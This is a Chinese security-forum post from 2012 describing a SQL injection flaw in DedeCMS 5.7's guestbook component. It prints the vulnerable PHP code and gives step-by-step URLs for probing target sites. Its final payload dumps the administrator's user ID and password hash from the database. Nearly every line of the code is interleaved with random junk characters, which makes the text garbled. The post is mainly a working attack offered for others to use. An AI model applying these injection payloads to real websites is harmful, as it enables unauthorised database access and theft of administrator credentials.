找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3775|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7# g+ Q% `5 C) l9 ]% F  B2 r
1 F1 v, h8 W& ~. U; y) |* P' o
漏洞文件edit.inc.php具体代码:5 ^" |& y6 c, l$ D

2 A% x, R' `: R1 q< ?php  
) W: B0 _2 X& M& C/ k3 j$ \/ C
) ]" x2 [% P% ]5 z  F! v7 [. `if(!defined('DEDEINC')) exit('Request Error!');  
5 D5 k2 K) d( \" Q, c( e( L
/ t  }+ ^1 m5 |/ y   ( p1 b9 ?* O/ ?- f% u6 t
+ X* H6 V! g1 V" E  p+ x
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  + }, l$ a" k3 e+ f
! ^" ^: d2 j, h$ ?  h* J  u
else $GUEST_BOOK_POS = "guestbook.php";  
* f2 \% H% F5 {5 ]% Q3 c8 |* U2 \7 l. Q* @9 |; c
   
# K8 c" q. @7 S) ]! D4 K
) }; Q' A+ s) L8 _$id = intval($id);  
( u# L4 w6 h/ ^5 N. n/ r9 P+ ]& ?$ g' l. ~& \
if(empty($job)) $job='view';  
1 E* O- w4 F/ ^: r: Y; k0 L& K1 U/ h7 m" g/ Q8 i1 c, o
   4 r0 K3 e8 t: t2 U7 Z4 z4 P5 B

* W, O; ^5 x3 _4 w0 Pif($job=='del' && $g_isadmin)  
6 g" L: }! I/ D+ w7 b( H7 ]
7 Q. j- T2 n8 l$ E{  % m7 W7 i* g$ t* U9 w$ d5 Y1 }; s

" Q/ I- R1 p: U" K$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  ; R  _) A- j$ m& v
2 ~: v! R8 y  x% E+ r
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
2 r4 F+ A1 ~: }; X' S! C2 g# d! T# D5 [  Z% X- j6 m8 N+ f
exit();  
3 S5 o  k2 ^! o8 b0 X2 F
0 M" ]" F  Q6 L& _0 I% g8 o}  
, C: c" l2 |0 E6 P5 q6 C5 H2 p1 E' v: K) l- @: ]  f
else if($job=='check' && $g_isadmin)  # p1 q2 V( P/ J- |1 _6 |

$ |$ B/ \: b% n6 g! S/ F% }& N$ @{  
" x9 o( O6 {8 i9 O3 c4 w+ S4 h! _/ O4 a
5 N" n+ N' `) g  }' t0 r$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
% g- D% ~5 ]* t' b7 B5 ]* W$ l& {/ H& V, B
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  - F: B1 L4 [( h! H5 s! u5 t" v

* v9 h: y9 P' n" `exit();  1 i1 N) p3 U' a0 Q2 H. |  N
; R# D  m( l' G: n  r/ F7 v
}  ! N! M  H- v7 k5 [# C" p# @+ f

! k1 e: ]) @# C7 M8 ]. S3 Uelse if($job=='editok')  
0 B8 }1 b3 Z& \/ h/ g
) B) L8 x4 l6 z{  
% m# `8 q0 V% f  r7 ]. R6 A4 c1 ^4 l! L& C/ I, A
$remsg = trim($remsg);  8 B& o$ ~% `% u/ X

: [- d" F$ v2 w, @" _5 Wif($remsg!='')  5 i. ~/ C1 Y/ a! E! t% N. [
% R5 ~( G( ~8 P& `
{  ; z7 \- q( y2 K. Y
2 m9 c. @3 Q7 T2 s2 ]! n7 |* Q" Q  A7 K
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
6 A# M5 j1 Z9 l! E) Z8 k. m9 N3 Q1 j* X
if($g_isadmin)  ! Z, z9 @/ P0 _" O. }
5 m$ o1 z( n. F4 t; y
{  % H1 U5 U1 V) B' i

5 B( F0 d0 \2 r8 e$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
. `" ^) k/ P( N% |1 U4 h
0 F& I6 v9 O8 {# ^3 F2 r( m//$remsg <br /><font color=red>管理员回复:</font> }  
+ b. k* z) q% B: b2 Y3 U4 p$ f/ F3 e! `
else
; M. N" W5 g* V; A- W1 \+ w, g5 ^# h
8 A1 g; m( x( Z! G3 B1 a% U3 B/ I{  
" [, v5 B3 J1 U: i2 Q& Z( X9 n2 I* d
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
  E  G3 n6 Q& M( D4 z5 P
# f/ K( G4 Y% g0 g8 G$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  : j) \+ Q+ ?! x/ A0 A, p/ E1 l# V
, ^1 g1 m# {( n
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  + ]9 h/ |; m1 q; E$ ]2 w
$ d0 M1 S# m" G
$msg = $oldmsg.$remsg;  
& c4 @6 Q* K1 q, c0 a  C& l8 O
6 H1 X; {, ~) Y1 M% J4 a}  
: D! K9 ^, c4 X( B* l
& N! @6 z8 _4 ~9 R) u0 t}  
% C8 b3 b2 ]1 i, U! r4 U, z, L. A$ Q. U& l. Q+ t
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
* o( K) G$ b$ ?+ S. {* s& p5 I" N8 G  m' S  l2 O
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
$ R1 k9 |) A( J+ f  S4 |
/ n9 D% D2 N9 g( k/ K/ L4 zShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
5 `6 d/ {! E3 a; I! j
) \8 S3 p  B, A0 U# A3 ]exit();  
# z% c+ n( y0 I7 U, M3 H
  ^( R9 U# c6 X3 `}  
5 ^+ R1 S$ l3 Q& p" ?+ a' o2 t% v( a/ R/ U/ ~3 @9 }: P* k
//home:www.errs.cc  2 B0 F1 O4 d* j, J5 v0 l! J; C4 ^- c

, D2 k- K2 {% a+ Mif($g_isadmin)  ) f: \9 [; h  K
! p: w* _0 G6 k8 N0 G" a7 [
{  5 H, p4 h. d7 t$ W2 c

7 @" D  T: _8 O1 R" ?$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
2 [: ]; D% K9 a5 I/ ~. b  Y6 b0 h: K# t; w: u' [$ |
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  8 X6 n. h' P# i+ d' _. [6 ^6 L: L
6 Z! F- s, Z- ?# o! @
}  + q- @! N3 Q9 g$ Z) y
3 z3 h* d& Y* E' R% b( K
else 4 Y( }7 i( G, @* r$ {' C6 v( m
+ m7 w& j9 s7 r% ?8 i: p' O
{  
, {3 Y5 [! L( F5 [% f# @& w
, Q! \1 j: Y2 @9 s/ t$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  % g$ O: B* E2 G* y# b. B! k1 w# c
8 e4 t. I  I9 w7 }0 b2 e8 r
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
  _/ w1 c' Q; p2 H" z# {: T0 `& i) V# E! m1 H7 ^; Q/ X  m2 D
} 漏洞成功需要条件:0 u# H! |5 m! R$ F5 E1 }
1. php magic_quotes_gpc=off
8 t$ I7 G3 k7 b2 P; v/ v2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。" `* ]/ ^% d! |: [- u* H

& d  o( \5 [5 z; `. s怎么判断是否存在漏洞:
4 g, s3 |( U# v' l先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,* p7 k+ U& ~2 L, z' r* o
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
& w3 g5 l/ |, K  V) ]6 ?5 b# \访问:$ ~2 |; z) y  X
% \3 Q: x% C1 c+ s% n: ~1 I- F7 [2 _
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
9 V" [2 e. k' O3 d9 ?跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
9 d! @% s3 q4 }6 S$ _* Q5 s: U: I% K0 Z0 Z/ l; Q, A

' X4 w: g% W/ ?, W: ^' _明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
, ]+ V' P2 C1 W3 E如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
' B" H6 Q5 e/ y& N$ V那么再次访问) V- |6 R# z: p
( E% v; c9 R! ]* q$ b; c# E
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().) V1 O* H. W/ S
6 n3 g' g0 E+ h# j5 A
大概利用就是这样,大家有兴趣的多研究下!!
1 ?# g2 }. l+ \9 x& Z: z) @% Q7 E6 j: D. G
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
5 ]* j, {# P+ {) @% f, q5 Y# F4 u0 H* Y* T/ B
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表